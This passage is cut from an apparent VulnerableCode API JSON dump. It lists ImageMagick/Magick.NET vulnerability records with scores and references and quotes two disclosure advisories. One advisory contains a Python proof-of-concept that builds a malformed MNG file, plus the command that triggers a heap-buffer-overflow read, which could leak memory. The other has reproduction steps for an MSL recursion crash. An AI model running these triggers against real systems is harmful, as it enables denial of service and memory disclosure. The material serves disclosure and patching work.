ulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-h221-qd8d-tqa5"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-mxg1-261s-nbds"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-spch-fffg-4yc5"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-vaks-d4k5-zue7"},{"vulnerability":"VCID-vkp6-wh22-eqap"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.8.1"}],"aliases":["CVE-2025-55212","GHSA-fh55-q5pj-pxgw"],"risk_score":1.6,"exploitability":"0.5","weighted_severity":"3.3","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-uwj5-1fkf-7qg9"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/20141?format=json","vulnerability_id":"VCID-vaks-d4k5-zue7","summary":"ImageMagick MSL: Stack overflow via infinite recursion in ProcessMSLScript\n## Summary\n\nStack overflow via infinite recursion in MSL (Magick Scripting Language) `<write>` command when writing to MSL format.\n\n## Version\n\n- ImageMagick 7.x (tested on current main branch)\n- Commit: HEAD\n- Requires: libxml2 support (for MSL parsing)\n\n## Steps to Reproduce\n\n### Method 1: Using ImageMagick directly\n\n```bash\nmagick MSL:recursive.msl out.png\n```\n\n### Method 2: Using OSS-Fuzz reproduce\n\n```bash\npython3 infra/helper.py build_fuzzers imagemagick\npython3 infra/helper.py reproduce imagemagick msl_fuzzer recursive.msl\n```\n\nOr run the fuzzer directly:\n```bash\n./msl_fuzzer recursive.msl\n```\n\n## Expected Behavior\n\nImageMagick should handle recursive MSL references gracefully by detecting the loop and returning an error.\n\n## Actual Behavior\n\nStack overflow causes process crash:\n\n```\nAddressSanitizer:DEADLYSIGNAL\n==PID==ERROR: AddressSanitizer: stack-overflow\n    #0 MSLStartElement /src/imagemagick/coders/msl.c:7045\n    #1 xmlParseStartTag /src/libxml2/parser.c\n    #2 xmlParseChunk /src/libxml2/parser.c:11273\n    #3 ProcessMSLScript /src/imagemagick/coders/msl.c:7405\n    #4 WriteMSLImage /src/imagemagick/coders/msl.c:7867\n    #5 WriteImage /src/imagemagick/MagickCore/constitute.c:1346\n    #6 MSLStartElement /src/imagemagick/coders/msl.c:7045\n    ... (infinite recursion, 287+ frames)\n```\n\n## Root Cause Analysis\n\nIn `coders/msl.c`, the `<write>` command handler in `MSLStartElement()` (line ~7045) calls `WriteImage()`. When the output filename specifies MSL format (`msl:filename`), `WriteMSLImage()` is called, which parses the MSL file again via `ProcessMSLScript()`.\n\nIf the MSL file references itself (directly or indirectly), this creates an infinite recursion loop:\n\n```\nMSLStartElement() → WriteImage() → WriteMSLImage() → ProcessMSLScript()\n    → xmlParseChunk() → MSLStartElement() → ... (infinite loop)\n```\n\n## Impact\n\n- **DoS**: Guaranteed crash via stack exhaustion\n- **Affected**: Any application using ImageMagick to process user-supplied MSL files\n\n## Additional Trigger Paths\n\nThe `<read>` command can also trigger recursion:\n\nIndirect recursion is also possible (a.msl → b.msl → a.msl).\n\n## Fuzzer\n\nThis issue was discovered using a custom MSL fuzzer:\n\n```cpp\n#include <cstdint>\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n#include \"utils.cc\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size)\n{\n  if (IsInvalidSize(Size))\n    return(0);\n  try\n  {\n    const Magick::Blob blob(Data, Size);\n    Magick::Image image;\n    image.magick(\"MSL\");\n    image.fileName(\"MSL:\");\n    image.read(blob);\n  }\n  catch (Magick::Exception)\n  {\n  }\n  return(0);\n}\n```\n\nThis issue was found by Team FuzzingBrain @ Texas A&M University","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23874.json","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23874.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-23874","reference_id":"","reference_type":"","scores":[{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05271","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05267","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05225","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05041","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05101","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05134","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.0515","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05125","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05108","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05093","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05194","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05051","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05046","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.0508","published_at":"2026-04-04T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-23874"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23874","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23874"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9vj4-wc7r-p844","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-20T21:37:11Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9vj4-wc7r-p844"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23874","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23874"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126075","reference_id":"1126075","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126075"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2431034","reference_id":"2431034","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2431034"},{"reference_url":"https://github.com/advisories/GHSA-9vj4-wc7r-p844","reference_id":"GHSA-9vj4-wc7r-p844","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-9vj4-wc7r-p844"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67434?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.2"}],"aliases":["CVE-2026-23874","GHSA-9vj4-wc7r-p844"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-vaks-d4k5-zue7"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/28252?format=json","vulnerability_id":"VCID-vbdt-31wd-v3h8","summary":"imagemagick: heap-buffer overflow read in MNG magnification with alpha\n## **Vulnerability Details**\n\nWhen performing image magnification in `ReadOneMNGIMage` (in `coders/png.c`), there is an issue around the handling of images with separate alpha channels.\n\nWhen loading an image with a color type that implies a separate alpha channel (ie. `jng_color_type >= 12`), we will load the alpha pixels in this loop:\n\n```c\n     if (logging != MagickFalse)\n        (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n          \"    Reading alpha from alpha_blob.\");\n      jng_image=ReadImage(alpha_image_info,exception);\n\n      if (jng_image != (Image *) NULL)\n        for (y=0; y < (ssize_t) image->rows; y++)\n        {\n          s=GetVirtualPixels(jng_image,0,y,image->columns,1,exception);\n          q=GetAuthenticPixels(image,0,y,image->columns,1,exception); // [0]\n          if ((s == (const Quantum *)  NULL) || (q == (Quantum *) NULL))\n            break;\n\n          if (image->alpha_trait != UndefinedPixelTrait)\n            for (x=(ssize_t) image->columns; x != 0; x--)\n            {\n              SetPixelAlpha(image,GetPixelRed(jng_image,s),q);\n              q+=(ptrdiff_t) GetPixelChannels(image);\n              s+=(ptrdiff_t) GetPixelChannels(jng_image);\n            }\n\n          else\n            for (x=(ssize_t) image->columns; x != 0; x--)\n            {\n              Quantum\n                alpha;\n\n              alpha=GetPixelRed(jng_image,s);\n              SetPixelAlpha(image,alpha,q);\n              if (alpha != OpaqueAlpha)\n                image->alpha_trait=BlendPixelTrait; // [1]\n              q+=(ptrdiff_t) GetPixelChannels(image);\n              s+=(ptrdiff_t) GetPixelChannels(jng_image);\n            }\n\n          if (SyncAuthenticPixels(image,exception) == MagickFalse)\n            break;\n        }\n```\n\nNote that at \\[1\\] we update `image->alpha_trait`, but if our alpha image only contains non-opaque pixels in the last row, we do not call `GetAuthenticPixels` (at \\[0\\]) after this change has been made. \n\nThe next call to `GetAuthenticPixels` will then call down into `ResetPixelChannelMap` which adds the new alpha channel to the image channel mappings and metadata.\n\nIf we then pass this image into the `MAGN` chunk type, we can see that at \\[2\\] we calculate the sizes for intermediate buffers `next` and `prev`, before calling `GetAuthenticPixels` at \\[4\\]. \n\nAfter the call at \\[4\\], the `image->num_channels` has increased to include the new alpha channel, and now `length` and the previously allocated `next` and `prev` buffers are too small. Fortunately `length` is always used when copying into the buffers, but when reading pixels from the buffers, we call `GetPixelXXX` which assumes the layout of the current image, which requires a larger allocation. \n\nThe pixel copying loop will subsequently read beyond the end of the allocation at \\[5\\].\n\n```c\n               /* magnify the rows into the right side of the large image */\n\n                if (logging != MagickFalse)\n                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                    \"    Magnify the rows to %.20g\",\n                    (double) large_image->rows);\n                m=(ssize_t) mng_info->magn_mt;\n                yy=0;\n                length=(size_t) GetPixelChannels(image)*image->columns; // [2]\n                next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next));\n                prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev));\n\n                if ((prev == (Quantum *) NULL) ||\n                    (next == (Quantum *) NULL))\n                  {\n                    if (prev != (Quantum *) NULL)\n                      prev=(Quantum *) RelinquishMagickMemory(prev);\n                    if (next != (Quantum *) NULL)\n                      next=(Quantum *) RelinquishMagickMemory(next);\n                    image=DestroyImageList(image);\n                    ThrowReaderException(ResourceLimitError,\n                      \"MemoryAllocationFailed\");\n                  }\n\n                n=GetAuthenticPixels(image,0,0,image->columns,1,exception); // [4]\n                (void) memcpy(next,n,length);\n\n                for (y=0; y < (ssize_t) image->rows; y++)\n                {\n                  if (y == 0)\n                    m=(ssize_t) mng_info->magn_mt;\n\n                  else if (magn_methy > 1 && y == (ssize_t) image->rows-2)\n                    m=(ssize_t) mng_info->magn_mb;\n\n                  else if (magn_methy <= 1 && y == (ssize_t) image->rows-1)\n                    m=(ssize_t) mng_info->magn_mb;\n\n                  else if (magn_methy > 1 && y == (ssize_t) image->rows-1)\n                    m=1;\n\n                  else\n                    m=(ssize_t) mng_info->magn_my;\n\n                  n=prev;\n                  prev=next;\n                  next=n;\n\n                  if (y < (ssize_t) image->rows-1)\n                    {\n                      n=GetAuthenticPixels(image,0,y+1,image->columns,1,\n                          exception);\n                      (void) memcpy(next,n,length);\n                    }\n\n                  for (i=0; i < m; i++, yy++)\n                  {\n                    Quantum\n                      *pixels;\n\n                    assert(yy < (ssize_t) large_image->rows);\n                    pixels=prev;\n                    n=next;\n                    q=GetAuthenticPixels(large_image,0,yy,large_image->columns,\n                      1,exception);\n                    if (q == (Quantum *) NULL)\n                      break;\n                    q+=(ptrdiff_t) (large_image->columns-image->columns)*\n                      GetPixelChannels(large_image);\n\n                    for (x=(ssize_t) image->columns-1; x >= 0; x--)\n                    {\n                      /* To do: get color as function of indexes[x] */\n                      /*\n                      if (image->storage_class == PseudoClass)\n                        {\n                        }\n                      */\n\n                      if (magn_methy <= 1)\n                        {\n                          /* replicate previous */\n                          SetPixelRed(large_image,GetPixelRed(image,pixels),q);  // [5]\n                          SetPixelGreen(large_image,GetPixelGreen(image,\n                             pixels),q);\n                          SetPixelBlue(large_image,GetPixelBlue(image,\n                             pixels),q);\n                          SetPixelAlpha(large_image,GetPixelAlpha(image,\n                             pixels),q);\n                        }\n```\n\nThis can likely be used to leak subsequent memory contents into the output image.\n\nThe attached proof-of-concept triggers this issue and is not blocked by any of the default security policies.\n\n## **Affected Version(s)**\n\nThe issue has been successfully reproduced:\n\n- at commit `3e37a7f15fcb1aa80e6beae3898e684309c2ecbe`\n\n- in stable release `7.1.2-0`\n\n### **Build Instructions**\n\n```shell\ngit clone https://github.com/imagemagick/imagemagick\n\ncd imagemagick\n\nexport CC=clang\nexport CXX=clang++\nexport CFLAGS=\"-fsanitize=address -O0 -ggdb\"\nexport CXXFLAGS=\"-fsanitize=address -O0 -ggdb\"\nexport LDFLAGS=\"-fsanitize=address -O0 -ggdb\"\n\n./configure --disable-shared --disable-docs --with-jxl\nmake -j\n```\n\n## **Reproduction**\n\n### **Test Case**\n\nThis testcase is a python script that will generate an MNG file which can be used to trigger the vulnerability.\n\n```\nimport struct\nimport zlib\n\ndef chunk(tag, data):\n    crc = zlib.crc32(tag + data) & 0xffffffff\n    return struct.pack('>I', len(data)) + tag + data + struct.pack('>I', crc)\n\n# Simple 128x1 RGB jpeg\njpeg = bytes([\n  0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 0x4a, 0x46, 0x49, 0x46, 0x00, 0x01,\n  0x01, 0x01, 0x01, 0x2c, 0x01, 0x2c, 0x00, 0x00, 0xff, 0xdb, 0x00, 0x43,\n  0x00, 0x03, 0x02, 0x02, 0x03, 0x02, 0x02, 0x03, 0x03, 0x03, 0x03, 0x04,\n  0x03, 0x03, 0x04, 0x05, 0x08, 0x05, 0x05, 0x04, 0x04, 0x05, 0x0a, 0x07,\n  0x07, 0x06, 0x08, 0x0c, 0x0a, 0x0c, 0x0c, 0x0b, 0x0a, 0x0b, 0x0b, 0x0d,\n  0x0e, 0x12, 0x10, 0x0d, 0x0e, 0x11, 0x0e, 0x0b, 0x0b, 0x10, 0x16, 0x10,\n  0x11, 0x13, 0x14, 0x15, 0x15, 0x15, 0x0c, 0x0f, 0x17, 0x18, 0x16, 0x14,\n  0x18, 0x12, 0x14, 0x15, 0x14, 0xff, 0xdb, 0x00, 0x43, 0x01, 0x03, 0x04,\n  0x04, 0x05, 0x04, 0x05, 0x09, 0x05, 0x05, 0x09, 0x14, 0x0d, 0x0b, 0x0d,\n  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,\n  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,\n  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,\n  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,\n  0x14, 0x14, 0xff, 0xc0, 0x00, 0x11, 0x08, 0x00, 0x01, 0x00, 0x80, 0x03,\n  0x01, 0x11, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xff, 0xc4, 0x00,\n  0x15, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xff, 0xc4, 0x00, 0x14,\n  0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x01, 0x01,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x11, 0x01, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0xff, 0xda, 0x00, 0x0c, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03,\n  0x11, 0x00, 0x3f, 0x00, 0xaa, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xff, 0xd9\n])\n\n# MNG File Construction\nmng_sig = b'\\x8aMNG\\r\\n\\x1a\\n'\nmhdr_data = struct.pack('>IIIIIII', 1, 1, 1, 0, 0, 0, 0)\nmhdr_chunk = chunk(b'MHDR', mhdr_data)\nmagn_data = struct.pack('>HH B H H H H H H B', 0, 0, 1, 2, 2, 2, 2, 2, 2, 1)\nmagn_chunk = chunk(b'MAGN', magn_data)\njhdr_data = struct.pack('>IIBBBBBBBB', 128, 1, 12, 8, 8, 0, 8, 0, 0, 0)\njhdr_chunk = chunk(b'JHDR', jhdr_data)\njdat_chunk = chunk(b'JDAT', jpeg)\nscanlines = b'\\x00\\x00'*128\ncompressed_scanlines = zlib.compress(scanlines)\nidat_chunk = chunk(b'IDAT', compressed_scanlines)\niend_chunk = chunk(b'IEND', b'')\nmend_chunk = chunk(b'MEND', b'')\nmng_bytes = mng_sig + mhdr_chunk + magn_chunk + jhdr_chunk + jdat_chunk + idat_chunk + iend_chunk + mend_chunk\n\nwith open(\"magn_read.mng\", \"wb\") as tmp:\n    tmp.write(mng_bytes)\n```\n\n### **Command**\n\n```shell\npython3 ./generate_testcase.py\nutilities/magick ./magn_read.mng -resize 200x200 PNG:output.png\n```\n\n### **ASan Backtrace**\n\n```\n=================================================================\n==1562409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51b000000680 at pc 0x557a486b0c64 bp 0x7ffe63210de0 sp 0x7ffe63210dd8\nREAD of size 4 at 0x51b000000680 thread T0\n    #0 0x557a486b0c63 in GetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10\n    #1 0x557a4869ce03 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:51\n    #2 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9\n    #3 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15\n    #4 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9\n    #5 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22\n    #6 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7\n    #7 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13\n    #8 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5\n    #9 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14\n    #10 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10\n    #11 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10\n    #12 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #13 0x7f1431833d64 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #14 0x557a481a0790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f3790) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3)\n\n0x51b000000680 is located 0 bytes after 1536-byte region [0x51b000000080,0x51b000000680)\nallocated by thread T0 here:\n    #0 0x557a482405c3 in malloc (/tmp/repro/imagemagick/utilities/magick+0x2935c3) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3)\n    #1 0x557a482b9b6a in AcquireMagickMemory /tmp/repro/imagemagick/MagickCore/memory.c:559:10\n    #2 0x557a482b9dba in AcquireQuantumMemory /tmp/repro/imagemagick/MagickCore/memory.c:677:10\n    #3 0x557a4869c58c in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6584:34\n    #4 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9\n    #5 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15\n    #6 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9\n    #7 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22\n    #8 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7\n    #9 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13\n    #10 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5\n    #11 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14\n    #12 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10\n    #13 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10\n    #14 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10 in GetPixelRed\nShadow bytes around the buggy address:\n  0x51b000000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51b000000480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51b000000500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51b000000580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  